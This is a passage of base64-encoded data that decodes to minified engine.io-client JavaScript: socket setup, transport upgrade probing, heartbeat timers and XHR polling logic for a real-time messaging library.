4NDMsdGhpcy5yZW1lbWJlclVwZ3JhZGU9bi5yZW1lbWJlclVwZ3JhZGV8fCExLHRoaXMuYmluYXJ5VHlwZT1udWxsLHRoaXMub25seUJpbmFyeVVwZ3JhZGVzPW4ub25seUJpbmFyeVVwZ3JhZGVzLHRoaXMucGVyTWVzc2FnZURlZmxhdGU9ITEhPT1uLnBlck1lc3NhZ2VEZWZsYXRlJiYobi5wZXJNZXNzYWdlRGVmbGF0ZXx8e30pLCEwPT09dGhpcy5wZXJNZXNzYWdlRGVmbGF0ZSYmKHRoaXMucGVyTWVzc2FnZURlZmxhdGU9e30pLHRoaXMucGVyTWVzc2FnZURlZmxhdGUmJm51bGw9PXRoaXMucGVyTWVzc2FnZURlZmxhdGUudGhyZXNob2xkJiYodGhpcy5wZXJNZXNzYWdlRGVmbGF0ZS50aHJlc2hvbGQ9MTAyNCksdGhpcy5wZng9bi5wZnh8fG51bGwsdGhpcy5rZXk9bi5rZXl8fG51bGwsdGhpcy5wYXNzcGhyYXNlPW4ucGFzc3BocmFzZXx8bnVsbCx0aGlzLmNlcnQ9bi5jZXJ0fHxudWxsLHRoaXMuY2E9bi5jYXx8bnVsbCx0aGlzLmNpcGhlcnM9bi5jaXBoZXJzfHxudWxsLHRoaXMucmVqZWN0VW5hdXRob3JpemVkPXZvaWQgMD09PW4ucmVqZWN0VW5hdXRob3JpemVkfHxuLnJlamVjdFVuYXV0aG9yaXplZCx0aGlzLmZvcmNlTm9kZT0hIW4uZm9yY2VOb2RlO3ZhciBvPSJvYmplY3QiPT10eXBlb2YgZSYmZTtvLmdsb2JhbD09PW8mJihuLmV4dHJhSGVhZGVycyYmT2JqZWN0LmtleXMobi5leHRyYUhlYWRlcnMpLmxlbmd0aD4wJiYodGhpcy5leHRyYUhlYWRlcnM9bi5leHRyYUhlYWRlcnMpLG4ubG9jYWxBZGRyZXNzJiYodGhpcy5sb2NhbEFkZHJlc3M9bi5sb2NhbEFkZHJlc3MpKSx0aGlzLmlkPW51bGwsdGhpcy51cGdyYWRlcz1udWxsLHRoaXMucGluZ0ludGVydmFsPW51bGwsdGhpcy5waW5nVGltZW91dD1udWxsLHRoaXMucGluZ0ludGVydmFsVGltZXI9bnVsbCx0aGlzLnBpbmdUaW1lb3V0VGltZXI9bnVsbCx0aGlzLm9wZW4oKX1mdW5jdGlvbiBvKHQpe3ZhciBlPXt9O2Zvcih2YXIgbiBpbiB0KXQuaGFzT3duUHJvcGVydHkobikmJihlW25dPXRbbl0pO3JldHVybiBlfXZhciBpPW4oMTYpLHM9big4KSxhPW4oMykoImVuZ2luZS5pby1jbGllbnQ6c29ja2V0IiksYz1uKDM2KSxwPW4oMjIpLHU9bigyKSxoPW4oMzApO3QuZXhwb3J0cz1yLHIucHJpb3JXZWJzb2NrZXRTdWNjZXNzPSExLHMoci5wcm90b3R5cGUpLHIucHJvdG9jb2w9cC5wcm90b2NvbCxyLlNvY2tldD1yLHIuVHJhbnNwb3J0PW4oMjEpLHIudHJhbnNwb3J0cz1uKDE2KSxyLnBhcnNlcj1uKDIyKSxyLnByb3RvdHlwZS5jcmVhdGVUcmFuc3BvcnQ9ZnVuY3Rpb24odCl7YSgnY3JlYXRpbmcgdHJhbnNwb3J0ICIlcyInLHQpO3ZhciBlPW8odGhpcy5xdWVyeSk7ZS5FSU89cC5wcm90b2NvbCxlLnRyYW5zcG9ydD10O3ZhciBuPXRoaXMudHJhbnNwb3J0T3B0aW9uc1t0XXx8e307dGhpcy5pZCYmKGUuc2lkPXRoaXMuaWQpO3ZhciByPW5ldyBpW3RdKHtxdWVyeTplLHNvY2tldDp0aGlzLGFnZW50Om4uYWdlbnR8fHRoaXMuYWdlbnQsaG9zdG5hbWU6bi5ob3N0bmFtZXx8dGhpcy5ob3N0bmFtZSxwb3J0Om4ucG9ydHx8dGhpcy5wb3J0LHNlY3VyZTpuLnNlY3VyZXx8dGhpcy5zZWN1cmUscGF0aDpuLnBhdGh8fHRoaXMucGF0aCxmb3JjZUpTT05QOm4uZm9yY2VKU09OUHx8dGhpcy5mb3JjZUpTT05QLGpzb25wOm4uanNvbnB8fHRoaXMuanNvbnAsZm9yY2VCYXNlNjQ6bi5mb3JjZUJhc2U2NHx8dGhpcy5mb3JjZUJhc2U2NCxlbmFibGVzWERSOm4uZW5hYmxlc1hEUnx8dGhpcy5lbmFibGVzWERSLHRpbWVzdGFtcFJlcXVlc3RzOm4udGltZXN0YW1wUmVxdWVzdHN8fHRoaXMudGltZXN0YW1wUmVxdWVzdHMsdGltZXN0YW1wUGFyYW06bi50aW1lc3RhbXBQYXJhbXx8dGhpcy50aW1lc3RhbXBQYXJhbSxwb2xpY3lQb3J0Om4ucG9saWN5UG9ydHx8dGhpcy5wb2xpY3lQb3J0LHBmeDpuLnBmeHx8dGhpcy5wZngsa2V5Om4ua2V5fHx0aGlzLmtleSxwYXNzcGhyYXNlOm4ucGFzc3BocmFzZXx8dGhpcy5wYXNzcGhyYXNlLGNlcnQ6bi5jZXJ0fHx0aGlzLmNlcnQsY2E6bi5jYXx8dGhpcy5jYSxjaXBoZXJzOm4uY2lwaGVyc3x8dGhpcy5jaXBoZXJzLHJlamVjdFVuYXV0aG9yaXplZDpuLnJlamVjdFVuYXV0aG9yaXplZHx8dGhpcy5yZWplY3RVbmF1dGhvcml6ZWQscGVyTWVzc2FnZURlZmxhdGU6bi5wZXJNZXNzYWdlRGVmbGF0ZXx8dGhpcy5wZXJNZXNzYWdlRGVmbGF0ZSxleHRyYUhlYWRlcnM6bi5leHRyYUhlYWRlcnN8fHRoaXMuZXh0cmFIZWFkZXJzLGZvcmNlTm9kZTpuLmZvcmNlTm9kZXx8dGhpcy5mb3JjZU5vZGUsbG9jYWxBZGRyZXNzOm4ubG9jYWxBZGRyZXNzfHx0aGlzLmxvY2FsQWRkcmVzcyxyZXF1ZXN0VGltZW91dDpuLnJlcXVlc3RUaW1lb3V0fHx0aGlzLnJlcXVlc3RUaW1lb3V0LHByb3RvY29sczpuLnByb3RvY29sc3x8dm9pZCAwfSk7cmV0dXJuIHJ9LHIucHJvdG90eXBlLm9wZW49ZnVuY3Rpb24oKXt2YXIgdDtpZih0aGlzLnJlbWVtYmVyVXBncmFkZSYmci5wcmlvcldlYnNvY2tldFN1Y2Nlc3MmJnRoaXMudHJhbnNwb3J0cy5pbmRleE9mKCJ3ZWJzb2NrZXQiKSE9PS0xKXQ9IndlYnNvY2tldCI7ZWxzZXtpZigwPT09dGhpcy50cmFuc3BvcnRzLmxlbmd0aCl7dmFyIGU9dGhpcztyZXR1cm4gdm9pZCBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZS5lbWl0KCJlcnJvciIsIk5vIHRyYW5zcG9ydHMgYXZhaWxhYmxlIil9LDApfXQ9dGhpcy50cmFuc3BvcnRzWzBdfXRoaXMucmVhZHlTdGF0ZT0ib3BlbmluZyI7dHJ5e3Q9dGhpcy5jcmVhdGVUcmFuc3BvcnQodCl9Y2F0Y2gobil7cmV0dXJuIHRoaXMudHJhbnNwb3J0cy5zaGlmdCgpLHZvaWQgdGhpcy5vcGVuKCl9dC5vcGVuKCksdGhpcy5zZXRUcmFuc3BvcnQodCl9LHIucHJvdG90eXBlLnNldFRyYW5zcG9ydD1mdW5jdGlvbih0KXthKCJzZXR0aW5nIHRyYW5zcG9ydCAlcyIsdC5uYW1lKTt2YXIgZT10aGlzO3RoaXMudHJhbnNwb3J0JiYoYSgiY2xlYXJpbmcgZXhpc3RpbmcgdHJhbnNwb3J0ICVzIix0aGlzLnRyYW5zcG9ydC5uYW1lKSx0aGlzLnRyYW5zcG9ydC5yZW1vdmVBbGxMaXN0ZW5lcnMoKSksdGhpcy50cmFuc3BvcnQ9dCx0Lm9uKCJkcmFpbiIsZnVuY3Rpb24oKXtlLm9uRHJhaW4oKX0pLm9uKCJwYWNrZXQiLGZ1bmN0aW9uKHQpe2Uub25QYWNrZXQodCl9KS5vbigiZXJyb3IiLGZ1bmN0aW9uKHQpe2Uub25FcnJvcih0KX0pLm9uKCJjbG9zZSIsZnVuY3Rpb24oKXtlLm9uQ2xvc2UoInRyYW5zcG9ydCBjbG9zZSIpfSl9LHIucHJvdG90eXBlLnByb2JlPWZ1bmN0aW9uKHQpe2Z1bmN0aW9uIGUoKXtpZihmLm9ubHlCaW5hcnlVcGdyYWRlcyl7dmFyIGU9IXRoaXMuc3VwcG9ydHNCaW5hcnkmJmYudHJhbnNwb3J0LnN1cHBvcnRzQmluYXJ5O2g9aHx8ZX1ofHwoYSgncHJvYmUgdHJhbnNwb3J0ICIlcyIgb3BlbmVkJyx0KSx1LnNlbmQoW3t0eXBlOiJwaW5nIixkYXRhOiJwcm9iZSJ9XSksdS5vbmNlKCJwYWNrZXQiLGZ1bmN0aW9uKGUpe2lmKCFoKWlmKCJwb25nIj09PWUudHlwZSYmInByb2JlIj09PWUuZGF0YSl7aWYoYSgncHJvYmUgdHJhbnNwb3J0ICIlcyIgcG9uZycsdCksZi51cGdyYWRpbmc9ITAsZi5lbWl0KCJ1cGdyYWRpbmciLHUpLCF1KXJldHVybjtyLnByaW9yV2Vic29ja2V0U3VjY2Vzcz0id2Vic29ja2V0Ij09PXUubmFtZSxhKCdwYXVzaW5nIGN1cnJlbnQgdHJhbnNwb3J0ICIlcyInLGYudHJhbnNwb3J0Lm5hbWUpLGYudHJhbnNwb3J0LnBhdXNlKGZ1bmN0aW9uKCl7aHx8ImNsb3NlZCIhPT1mLnJlYWR5U3RhdGUmJihhKCJjaGFuZ2luZyB0cmFuc3BvcnQgYW5kIHNlbmRpbmcgdXBncmFkZSBwYWNrZXQiKSxwKCksZi5zZXRUcmFuc3BvcnQodSksdS5zZW5kKFt7dHlwZToidXBncmFkZSJ9XSksZi5lbWl0KCJ1cGdyYWRlIix1KSx1PW51bGwsZi51cGdyYWRpbmc9ITEsZi5mbHVzaCgpKX0pfWVsc2V7YSgncHJvYmUgdHJhbnNwb3J0ICIlcyIgZmFpbGVkJyx0KTt2YXIgbj1uZXcgRXJyb3IoInByb2JlIGVycm9yIik7bi50cmFuc3BvcnQ9dS5uYW1lLGYuZW1pdCgidXBncmFkZUVycm9yIixuKX19KSl9ZnVuY3Rpb24gbigpe2h8fChoPSEwLHAoKSx1LmNsb3NlKCksdT1udWxsKX1mdW5jdGlvbiBvKGUpe3ZhciByPW5ldyBFcnJvcigicHJvYmUgZXJyb3I6ICIrZSk7ci50cmFuc3BvcnQ9dS5uYW1lLG4oKSxhKCdwcm9iZSB0cmFuc3BvcnQgIiVzIiBmYWlsZWQgYmVjYXVzZSBvZiBlcnJvcjogJXMnLHQsZSksZi5lbWl0KCJ1cGdyYWRlRXJyb3IiLHIpfWZ1bmN0aW9uIGkoKXtvKCJ0cmFuc3BvcnQgY2xvc2VkIil9ZnVuY3Rpb24gcygpe28oInNvY2tldCBjbG9zZWQiKX1mdW5jdGlvbiBjKHQpe3UmJnQubmFtZSE9PXUubmFtZSYmKGEoJyIlcyIgd29ya3MgLSBhYm9ydGluZyAiJXMiJyx0Lm5hbWUsdS5uYW1lKSxuKCkpfWZ1bmN0aW9uIHAoKXt1LnJlbW92ZUxpc3RlbmVyKCJvcGVuIixlKSx1LnJlbW92ZUxpc3RlbmVyKCJlcnJvciIsbyksdS5yZW1vdmVMaXN0ZW5lcigiY2xvc2UiLGkpLGYucmVtb3ZlTGlzdGVuZXIoImNsb3NlIixzKSxmLnJlbW92ZUxpc3RlbmVyKCJ1cGdyYWRpbmciLGMpfWEoJ3Byb2JpbmcgdHJhbnNwb3J0ICIlcyInLHQpO3ZhciB1PXRoaXMuY3JlYXRlVHJhbnNwb3J0KHQse3Byb2JlOjF9KSxoPSExLGY9dGhpcztyLnByaW9yV2Vic29ja2V0U3VjY2Vzcz0hMSx1Lm9uY2UoIm9wZW4iLGUpLHUub25jZSgiZXJyb3IiLG8pLHUub25jZSgiY2xvc2UiLGkpLHRoaXMub25jZSgiY2xvc2UiLHMpLHRoaXMub25jZSgidXBncmFkaW5nIixjKSx1Lm9wZW4oKX0sci5wcm90b3R5cGUub25PcGVuPWZ1bmN0aW9uKCl7aWYoYSgic29ja2V0IG9wZW4iKSx0aGlzLnJlYWR5U3RhdGU9Im9wZW4iLHIucHJpb3JXZWJzb2NrZXRTdWNjZXNzPSJ3ZWJzb2NrZXQiPT09dGhpcy50cmFuc3BvcnQubmFtZSx0aGlzLmVtaXQoIm9wZW4iKSx0aGlzLmZsdXNoKCksIm9wZW4iPT09dGhpcy5yZWFkeVN0YXRlJiZ0aGlzLnVwZ3JhZGUmJnRoaXMudHJhbnNwb3J0LnBhdXNlKXthKCJzdGFydGluZyB1cGdyYWRlIHByb2JlcyIpO2Zvcih2YXIgdD0wLGU9dGhpcy51cGdyYWRlcy5sZW5ndGg7dDxlO3QrKyl0aGlzLnByb2JlKHRoaXMudXBncmFkZXNbdF0pfX0sci5wcm90b3R5cGUub25QYWNrZXQ9ZnVuY3Rpb24odCl7aWYoIm9wZW5pbmciPT09dGhpcy5yZWFkeVN0YXRlfHwib3BlbiI9PT10aGlzLnJlYWR5U3RhdGV8fCJjbG9zaW5nIj09PXRoaXMucmVhZHlTdGF0ZSlzd2l0Y2goYSgnc29ja2V0IHJlY2VpdmU6IHR5cGUgIiVzIiwgZGF0YSAiJXMiJyx0LnR5cGUsdC5kYXRhKSx0aGlzLmVtaXQoInBhY2tldCIsdCksdGhpcy5lbWl0KCJoZWFydGJlYXQiKSx0LnR5cGUpe2Nhc2Uib3BlbiI6dGhpcy5vbkhhbmRzaGFrZShKU09OLnBhcnNlKHQuZGF0YSkpO2JyZWFrO2Nhc2UicG9uZyI6dGhpcy5zZXRQaW5nKCksdGhpcy5lbWl0KCJwb25nIik7YnJlYWs7Y2FzZSJlcnJvciI6dmFyIGU9bmV3IEVycm9yKCJzZXJ2ZXIgZXJyb3IiKTtlLmNvZGU9dC5kYXRhLHRoaXMub25FcnJvcihlKTticmVhaztjYXNlIm1lc3NhZ2UiOnRoaXMuZW1pdCgiZGF0YSIsdC5kYXRhKSx0aGlzLmVtaXQoIm1lc3NhZ2UiLHQuZGF0YSl9ZWxzZSBhKCdwYWNrZXQgcmVjZWl2ZWQgd2l0aCBzb2NrZXQgcmVhZHlTdGF0ZSAiJXMiJyx0aGlzLnJlYWR5U3RhdGUpfSxyLnByb3RvdHlwZS5vbkhhbmRzaGFrZT1mdW5jdGlvbih0KXt0aGlzLmVtaXQoImhhbmRzaGFrZSIsdCksdGhpcy5pZD10LnNpZCx0aGlzLnRyYW5zcG9ydC5xdWVyeS5zaWQ9dC5zaWQsdGhpcy51cGdyYWRlcz10aGlzLmZpbHRlclVwZ3JhZGVzKHQudXBncmFkZXMpLHRoaXMucGluZ0ludGVydmFsPXQucGluZ0ludGVydmFsLHRoaXMucGluZ1RpbWVvdXQ9dC5waW5nVGltZW91dCx0aGlzLm9uT3BlbigpLCJjbG9zZWQiIT09dGhpcy5yZWFkeVN0YXRlJiYodGhpcy5zZXRQaW5nKCksdGhpcy5yZW1vdmVMaXN0ZW5lcigiaGVhcnRiZWF0Iix0aGlzLm9uSGVhcnRiZWF0KSx0aGlzLm9uKCJoZWFydGJlYXQiLHRoaXMub25IZWFydGJlYXQpKX0sci5wcm90b3R5cGUub25IZWFydGJlYXQ9ZnVuY3Rpb24odCl7Y2xlYXJUaW1lb3V0KHRoaXMucGluZ1RpbWVvdXRUaW1lcik7dmFyIGU9dGhpcztlLnBpbmdUaW1lb3V0VGltZXI9c2V0VGltZW91dChmdW5jdGlvbigpeyJjbG9zZWQiIT09ZS5yZWFkeVN0YXRlJiZlLm9uQ2xvc2UoInBpbmcgdGltZW91dCIpfSx0fHxlLnBpbmdJbnRlcnZhbCtlLnBpbmdUaW1lb3V0KX0sci5wcm90b3R5cGUuc2V0UGluZz1mdW5jdGlvbigpe3ZhciB0PXRoaXM7Y2xlYXJUaW1lb3V0KHQucGluZ0ludGVydmFsVGltZXIpLHQucGluZ0ludGVydmFsVGltZXI9c2V0VGltZW91dChmdW5jdGlvbigpe2EoIndyaXRpbmcgcGluZyBwYWNrZXQgLSBleHBlY3RpbmcgcG9uZyB3aXRoaW4gJXNtcyIsdC5waW5nVGltZW91dCksdC5waW5nKCksdC5vbkhlYXJ0YmVhdCh0LnBpbmdUaW1lb3V0KX0sdC5waW5nSW50ZXJ2YWwpfSxyLnByb3RvdHlwZS5waW5nPWZ1bmN0aW9uKCl7dmFyIHQ9dGhpczt0aGlzLnNlbmRQYWNrZXQoInBpbmciLGZ1bmN0aW9uKCl7dC5lbWl0KCJwaW5nIil9KX0sci5wcm90b3R5cGUub25EcmFpbj1mdW5jdGlvbigpe3RoaXMud3JpdGVCdWZmZXIuc3BsaWNlKDAsdGhpcy5wcmV2QnVmZmVyTGVuKSx0aGlzLnByZXZCdWZmZXJMZW49MCwwPT09dGhpcy53cml0ZUJ1ZmZlci5sZW5ndGg/dGhpcy5lbWl0KCJkcmFpbiIpOnRoaXMuZmx1c2goKX0sci5wcm90b3R5cGUuZmx1c2g9ZnVuY3Rpb24oKXsiY2xvc2VkIiE9PXRoaXMucmVhZHlTdGF0ZSYmdGhpcy50cmFuc3BvcnQud3JpdGFibGUmJiF0aGlzLnVwZ3JhZGluZyYmdGhpcy53cml0ZUJ1ZmZlci5sZW5ndGgmJihhKCJmbHVzaGluZyAlZCBwYWNrZXRzIGluIHNvY2tldCIsdGhpcy53cml0ZUJ1ZmZlci5sZW5ndGgpLHRoaXMudHJhbnNwb3J0LnNlbmQodGhpcy53cml0ZUJ1ZmZlciksdGhpcy5wcmV2QnVmZmVyTGVuPXRoaXMud3JpdGVCdWZmZXIubGVuZ3RoLHRoaXMuZW1pdCgiZmx1c2giKSl9LHIucHJvdG90eXBlLndyaXRlPXIucHJvdG90eXBlLnNlbmQ9ZnVuY3Rpb24odCxlLG4pe3JldHVybiB0aGlzLnNlbmRQYWNrZXQoIm1lc3NhZ2UiLHQsZSxuKSx0aGlzfSxyLnByb3RvdHlwZS5zZW5kUGFja2V0PWZ1bmN0aW9uKHQsZSxuLHIpe2lmKCJmdW5jdGlvbiI9PXR5cGVvZiBlJiYocj1lLGU9dm9pZCAwKSwiZnVuY3Rpb24iPT10eXBlb2YgbiYmKHI9bixuPW51bGwpLCJjbG9zaW5nIiE9PXRoaXMucmVhZHlTdGF0ZSYmImNsb3NlZCIhPT10aGlzLnJlYWR5U3RhdGUpe249bnx8e30sbi5jb21wcmVzcz0hMSE9PW4uY29tcHJlc3M7dmFyIG89e3R5cGU6dCxkYXRhOmUsb3B0aW9uczpufTt0aGlzLmVtaXQoInBhY2tldENyZWF0ZSIsbyksdGhpcy53cml0ZUJ1ZmZlci5wdXNoKG8pLHImJnRoaXMub25jZSgiZmx1c2giLHIpLHRoaXMuZmx1c2goKX19LHIucHJvdG90eXBlLmNsb3NlPWZ1bmN0aW9uKCl7ZnVuY3Rpb24gdCgpe3Iub25DbG9zZSgiZm9yY2VkIGNsb3NlIiksYSgic29ja2V0IGNsb3NpbmcgLSB0ZWxsaW5nIHRyYW5zcG9ydCB0byBjbG9zZSIpLHIudHJhbnNwb3J0LmNsb3NlKCl9ZnVuY3Rpb24gZSgpe3IucmVtb3ZlTGlzdGVuZXIoInVwZ3JhZGUiLGUpLHIucmVtb3ZlTGlzdGVuZXIoInVwZ3JhZGVFcnJvciIsZSksdCgpfWZ1bmN0aW9uIG4oKXtyLm9uY2UoInVwZ3JhZGUiLGUpLHIub25jZSgidXBncmFkZUVycm9yIixlKX1pZigib3BlbmluZyI9PT10aGlzLnJlYWR5U3RhdGV8fCJvcGVuIj09PXRoaXMucmVhZHlTdGF0ZSl7dGhpcy5yZWFkeVN0YXRlPSJjbG9zaW5nIjt2YXIgcj10aGlzO3RoaXMud3JpdGVCdWZmZXIubGVuZ3RoP3RoaXMub25jZSgiZHJhaW4iLGZ1bmN0aW9uKCl7dGhpcy51cGdyYWRpbmc/bigpOnQoKX0pOnRoaXMudXBncmFkaW5nP24oKTp0KCl9cmV0dXJuIHRoaXN9LHIucHJvdG90eXBlLm9uRXJyb3I9ZnVuY3Rpb24odCl7YSgic29ja2V0IGVycm9yICVqIix0KSxyLnByaW9yV2Vic29ja2V0U3VjY2Vzcz0hMSx0aGlzLmVtaXQoImVycm9yIix0KSx0aGlzLm9uQ2xvc2UoInRyYW5zcG9ydCBlcnJvciIsdCl9LHIucHJvdG90eXBlLm9uQ2xvc2U9ZnVuY3Rpb24odCxlKXtpZigib3BlbmluZyI9PT10aGlzLnJlYWR5U3RhdGV8fCJvcGVuIj09PXRoaXMucmVhZHlTdGF0ZXx8ImNsb3NpbmciPT09dGhpcy5yZWFkeVN0YXRlKXthKCdzb2NrZXQgY2xvc2Ugd2l0aCByZWFzb246ICIlcyInLHQpO3ZhciBuPXRoaXM7Y2xlYXJUaW1lb3V0KHRoaXMucGluZ0ludGVydmFsVGltZXIpLGNsZWFyVGltZW91dCh0aGlzLnBpbmdUaW1lb3V0VGltZXIpLHRoaXMudHJhbnNwb3J0LnJlbW92ZUFsbExpc3RlbmVycygiY2xvc2UiKSx0aGlzLnRyYW5zcG9ydC5jbG9zZSgpLHRoaXMudHJhbnNwb3J0LnJlbW92ZUFsbExpc3RlbmVycygpLHRoaXMucmVhZHlTdGF0ZT0iY2xvc2VkIix0aGlzLmlkPW51bGwsdGhpcy5lbWl0KCJjbG9zZSIsdCxlKSxuLndyaXRlQnVmZmVyPVtdLG4ucHJldkJ1ZmZlckxlbj0wfX0sci5wcm90b3R5cGUuZmlsdGVyVXBncmFkZXM9ZnVuY3Rpb24odCl7Zm9yKHZhciBlPVtdLG49MCxyPXQubGVuZ3RoO248cjtuKyspfmModGhpcy50cmFuc3BvcnRzLHRbbl0pJiZlLnB1c2godFtuXSk7cmV0dXJuIGV9fSkuY2FsbChlLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXN9KCkpfSxmdW5jdGlvbih0LGUsbil7KGZ1bmN0aW9uKHQpe2Z1bmN0aW9uIHIoZSl7dmFyIG4scj0hMSxhPSExLGM9ITEhPT1lLmpzb25wO2lmKHQubG9jYXRpb24pe3ZhciBwPSJodHRwczoiPT09bG9jYXRpb24ucHJvdG9jb2wsdT1sb2NhdGlvbi5wb3J0O3V8fCh1PXA/NDQzOjgwKSxyPWUuaG9zdG5hbWUhPT1sb2NhdGlvbi5ob3N0bmFtZXx8dSE9PWUucG9ydCxhPWUuc2VjdXJlIT09cH1pZihlLnhkb21haW49cixlLnhzY2hlbWU9YSxuPW5ldyBvKGUpLCJvcGVuImluIG4mJiFlLmZvcmNlSlNPTlApcmV0dXJuIG5ldyBpKGUpO2lmKCFjKXRocm93IG5ldyBFcnJvcigiSlNPTlAgZGlzYWJsZWQiKTtyZXR1cm4gbmV3IHMoZSl9dmFyIG89bigxNyksaT1uKDE5KSxzPW4oMzMpLGE9bigzNCk7ZS5wb2xsaW5nPXIsZS53ZWJzb2NrZXQ9YX0pLmNhbGwoZSxmdW5jdGlvbigpe3JldHVybiB0aGlzfSgpKX0sZnVuY3Rpb24odCxlLG4peyhmdW5jdGlvbihlKXt2YXIgcj1uKDE4KTt0LmV4cG9ydHM9ZnVuY3Rpb24odCl7dmFyIG49dC54ZG9tYWluLG89dC54c2NoZW1lLGk9dC5lbmFibGVzWERSO3RyeXtpZigidW5kZWZpbmVkIiE9dHlwZW9mIFhNTEh0dHBSZXF1ZXN0JiYoIW58fHIpKXJldHVybiBuZXcgWE1MSHR0cFJlcXVlc3R9Y2F0Y2gocyl7fXRyeXtpZigidW5kZWZpbmVkIiE9dHlwZW9mIFhEb21haW5SZXF1ZXN0JiYhbyYmaSlyZXR1cm4gbmV3IFhEb21haW5SZXF1ZXN0fWNhdGNoKHMpe31pZighbil0cnl7cmV0dXJuIG5ldyhlW1siQWN0aXZlIl0uY29uY2F0KCJPYmplY3QiKS5qb2luKCJYIildKSgiTWljcm9zb2Z0LlhNTEhUVFAiKTsNCn1jYXRjaChzKXt9fX0pLmNhbGwoZSxmdW5jdGlvbigpe3JldHVybiB0aGlzfSgpKX0sZnVuY3Rpb24odCxlKXt0cnl7dC5leHBvcnRzPSJ1bmRlZmluZWQiIT10eXBlb2YgWE1MSHR0cFJlcXVlc3QmJiJ3aXRoQ3JlZGVudGlhbHMiaW4gbmV3IFhNTEh0dHBSZXF1ZXN0fWNhdGNoKG4pe3QuZXhwb3J0cz0hMX19LGZ1bmN0aW9uKHQsZSxuKXsoZnVuY3Rpb24oZSl7ZnVuY3Rpb24gcigpe31mdW5jdGlvbiBvKHQpe2lmKGMuY2FsbCh0aGlzLHQpLHRoaXMucmVxdWVzdFRpbWVvdXQ9dC5yZXF1ZXN0VGltZW91dCx0aGlzLmV4dHJhSGVhZGVycz10LmV4dHJhSGVhZGVycyxlLmxvY2F0aW9uKXt2YXIgbj0iaHR0cHM6Ij09PWxvY2F0aW9uLnByb3RvY29sLHI9bG9jYXRpb24ucG9ydDtyfHwocj1uPzQ0Mzo4MCksdGhpcy54ZD10Lmhvc3RuYW1lIT09ZS5sb2NhdGlvbi5ob3N0bmFtZXx8ciE9PXQucG9ydCx0aGlzLnhzPXQuc2VjdXJlIT09bn19ZnVuY3Rpb24gaSh0KXt0aGlzLm1ldGhvZD10Lm1ldGhvZHx8IkdFVCIsdGhpcy51cmk9dC51cmksdGhpcy54ZD0hIXQueGQsdGhpcy54cz0hIXQueHMsdGhpcy5hc3luYz0hMSE9PXQuYXN5bmMsdGhpcy5kYXRhPXZvaWQgMCE9PXQuZGF0YT90LmRhdGE6bnVsbCx0aGlzLmFnZW50PXQuYWdlbnQsdGhpcy5pc0JpbmFyeT10LmlzQmluYXJ5LHRoaXMuc3VwcG9ydHNCaW5hcnk9dC5zdXBwb3J0c0JpbmFyeSx0aGlzLmVuYWJsZXNYRFI9dC5lbmFibGVzWERSLHRoaXMucmVxdWVzdFRpbWVvdXQ9dC5yZXF1ZXN0VGltZW91dCx0aGlzLnBmeD10LnBmeCx0aGlzLmtleT10LmtleSx0aGlzLnBhc3NwaHJhc2U9dC5wYXNzcGhyYXNlLHRoaXMuY2VydD10LmNlcnQsdGhpcy5jYT10LmNhLHRoaXMuY2lwaGVycz10LmNpcGhlcnMsdGhpcy5yZWplY3RVbmF1dGhvcml6ZWQ9dC5yZWplY3RVbmF1dGhvcml6ZWQsdGhpcy5leHRyYUhlYWRlcnM9dC5leHRyYUhlYWRlcnMsdGhpcy5jcmVhdGUoKX1mdW5jdGlvbiBzKCl7Zm9yKHZhciB0IGluIGkucmVxdWVzdHMpaS5yZXF1ZXN0cy5oYXNPd25Qcm9wZXJ0eSh0KSYmaS5yZXF1ZXN0c1t0XS5hYm9ydCgpfXZhciBhPW4oMTcpLGM9bigyMCkscD1uKDgpLHU9bigzMSksaD1uKDMpKCJlbmdpbmUuaW8tY2xpZW50OnBvbGxpbmcteGhyIik7dC5leHBvcnRzPW8sdC5leHBvcnRzLlJlcXVlc3Q9aSx1KG8sYyksby5wcm90b3R5cGUuc3VwcG9ydHNCaW5hcnk9ITAsby5wcm90b3R5cGUucmVxdWVzdD1mdW5jdGlvbih0KXtyZXR1cm4gdD10fHx7fSx0LnVyaT10aGlzLnVyaSgpLHQueGQ9dGhpcy54ZCx0LnhzPXRoaXMueHMsdC5hZ2VudD10aGlzLmFnZW50fHwhMSx0LnN1cHBvcnRzQmluYXJ5PXRoaXMuc3VwcG9ydHNCaW5hcnksdC5lbmFibGVzWERSPXRoaXMuZW5hYmxlc1hEUix0LnBmeD10aGlzLnBmeCx0LmtleT10aGlzLmtleSx0LnBhc3NwaHJhc2U9dGhpcy5wYXNzcGhyYXNlLHQuY2VydD10aGlzLmNlcnQsdC5jYT10aGlzLmNhLHQuY2lwaGVycz10aGlzLmNpcGhlcnMsdC5yZWplY3RVbmF1dGhvcml6ZWQ9dGhpcy5yZWplY3RVbmF1dGhvcml6ZWQsdC5yZXF1ZXN0VGltZW91dD10aGlzLnJlcXVlc3RUaW1lb3V0LHQuZXh0cmFIZWFkZXJzPXRoaXMuZXh0cmFIZWFkZXJzLG5ldyBpKHQpfSxvLnByb3RvdHlwZS5kb1dyaXRlPWZ1bmN0aW9uKHQsZSl7dmFyIG49InN0cmluZyIhPXR5cGVvZiB0JiZ2b2lkIDAhPT10LHI9dGhpcy5yZXF1ZXN0KHttZXRob2Q6IlBPU1QiLGRhdGE6dCxpc0JpbmFyeTpufSksbz10aGlzO3Iub24oInN1Y2Nlc3MiLGUpLHIub24oImVycm9yIixmdW5jdGlvbih0KXtvLm9uRXJyb3IoInhociBwb3N0IGVycm9yIix0KX0pLHRoaXMuc2VuZFhocj1yfSxvLnByb3RvdHlwZS5kb1BvbGw9ZnVuY3Rpb24oKXtoKCJ4aHIgcG9sbCIpO3ZhciB0PXRoaXMucmVxdWVzdCgpLGU9dGhpczt0Lm9uKCJkYXRhIixmdW5jdGlvbih0KXtlLm9uRGF0YSh0KX0pLHQub24oImVycm9yIixmdW5jdGlvbih0KXtlLm9uRXJyb3IoInhociBwb2xsIGVycm9yIix0KX0pLHRoaXMucG9sbFhocj10fSxwKGkucHJvdG90eXBlKSxpLnByb3RvdHlwZS5jcmVhdGU9ZnVuY3Rpb24oKXt2YXIgdD17YWdlbnQ6dGhpcy5hZ2VudCx4ZG9tYWluOnRoaXMueGQseHNjaGVtZTp0aGlzLnhzLGVuYWJsZXNYRFI6dGhpcy5lbmFibGVzWERSfTt0LnBmeD10aGlzLnBmeCx0LmtleT10aGlzLmtleSx0LnBhc3NwaHJhc2U9dGhpcy5wYXNzcGhyYXNlLHQuY2VydD10aGlzLmNlcnQsdC5jYT10aGlzLmNhLHQuY2lwaGVycz10aGlzLmNpcGhlcnMsdC5yZWplY3RVbmF1dGhvc